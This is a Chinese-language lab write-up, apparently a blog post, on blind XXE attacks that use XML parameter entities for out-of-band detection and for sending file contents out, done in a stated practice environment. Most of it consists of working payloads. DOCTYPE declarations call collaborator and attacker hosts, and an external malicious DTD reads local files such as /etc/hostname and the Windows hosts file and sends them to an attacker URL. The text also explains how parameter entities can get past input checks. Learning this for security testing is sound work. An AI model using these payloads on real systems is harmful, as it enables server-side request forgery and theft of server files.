XXE 使用参数实体带外
注:以下环境均为靶场实验环境。
使用参数实体带外测试
如果 WEB 应用程序的输入校验或 XML 解析器的强化导致常规实体的 XXE 攻击被阻止,可以尝试 XML 参数实体的 XXE 攻击。
常规实体与参数实体的区别
- 语法差异:
- 常规实体:
<!ENTITY myentity "value">,引用用&myentity; - 参数实体:
<!ENTITY % myparam "value">,引用用%myparam;
- 常规实体:
- 作用域限制:
- 参数实体只能在DTD内部使用(包括内部子集和外部DTD)
- 常规实体在XML文档内容部分中使用
如下案例:
使用参数实体带外。
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://www.oswe.com/pikachu/"> %xxe;]>
<user>
<name>Alice</name>
<email>nihao</email>
</user>

当你把它改为通用实体时,会报错,因为解析器不支持他在 dtd 内应用(通用实体在 xml 文档内容部分使用)。

这也算参数实体的一种优势吧,能在引入 dtd 阶段就进行展开,相比于常规实体,它展开的更早,不依赖 xml 文档内容进行注入。例如常规实体必须在如下位置进行利用:
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://www.oswe.com/pikachu/"> %xxe;]> <-- 参数实体利用位置
<user>
<name>常规实体利用位置</name>
<email>常规实体利用位置</email>
</user>
# 而且如果目标对 xml 正文有检测的话,参数实体一定程度上能绕过检测。
常规带外测试
可以看到进行如下攻击只给个提示不回显数据。但是此情况下,没有对参数进行校验,只是不回显数据,在参数内引用通用实体仍然会触发 ssrf。
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>10000001</productId><storeId>100000001</storeId></stockCheck>

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://f6msdym6qiznm92r72tnoot0mrsigc41.oastify.com"> ]>
<stockCheck><productId>1</productId><storeId>&xxe;</storeId></stockCheck>
^^^^^^^
常规实体利用位置:位于 xml 正文
使用参数实体带外测试
适用于后端程序对所给参数进行校验,导致无法从参数进行攻击,只能在 DTD 内部进行 ssrf 攻击的场景。
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "https://3dh7vgbtma2ziyd62n0eg92oyf46swgl.oastify.com"> %xxe;]>
^^^^^^^^
参数实体利用位置:位于 dtd 内部

XXE 盲注外带数据
XXE 外带数据需要引入外部 DTD(内部 DTD 无效,因为内部 DTD 不支持嵌套语法,而 XXE 带外数据依赖嵌套语法)。
XXE 数据带外案例
外部 DTD payload:
# 使用参数实体进行嵌套,使得目标系统的数据被带外到攻击者服务器。
<!ENTITY % file SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://www.oswe.com/attackspace/log.php/?x=%file;'>">
%eval;
%exfiltrate;
# 如果引入以上 DTD ,服务器将动态发送本地 hosts 文件到攻击者网站。
服务器引入此 DTD:
# 一般情况下仍然使用参数实体引入 dtd,有如下两方面原因:
# 一方面因为参数实体可以在内部 dtd 里过早展开的优势。
# 另一方面因为某些解析器会禁止引入外部实体,但允许参数实体引入外部 dtd。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://www.oswe.com/attackspace/test.dtd">
%xxe;
]>
<user>
<name>Alice</name>
<email>nihao</email>
</user>
解释:
这是一个嵌套解析的过程,当引入外部恶意 DTD 后,DTD 自动引用 %eval; 将 %eval; 替换为如下字符串:
<!ENTITY % exfiltrate SYSTEM 'http://www.oswe.com/attackspace/log.php/?x=%file;'>
然而替换之后,xml 解析器会再一次解析替换完成后的字符。
1.%eval; 被替换成如下字符:
2.<!ENTITY % exfiltrate SYSTEM 'http://www.oswe.com/attackspace/log.php/?x=%file;'>
3.替换后,xml 再进行了一次解析,将如上字符串认定为 exfiltrate 参数实体的声明。
4.然后再展开它:%exfiltrate;,展开它是将发送 http 请求。
5.请求中又遇到了一个参数实体 %file;,将其替换为敏感文件内容。
整体过程
-
准备恶意 DTD
将上面的 DTD 内容保存为外部 DTD,并上传至攻击者可控的 Web 服务器(如
http://web‑attacker.com/malicious.dtd)。 -
构造 XXE payload
在目标应用可提交 XML 的地方,嵌入对外部 DTD 的引用。例如:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe; ]> <foo>test</foo>
实验
带外检测
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com"> %xxe;]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "https://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

存在带外:

内部 dtd 的话失效:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com/?x=%file;'>">
%eval;
%exfil;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

尝试参数实体引入外部 dtd:
# 存储在攻击者服务器上:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://3y2gd7xi5c2j9zz21kfz5i41qswjkk89.oastify.com/?x=%file;'>">
%eval;
%exfil;
# 参数实体引入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa400e2040678c3826c82f30146008e.exploit-server.net/exploit"> %xxe;]>
# 利用成功:

602

被折叠的 条评论
为什么被折叠?



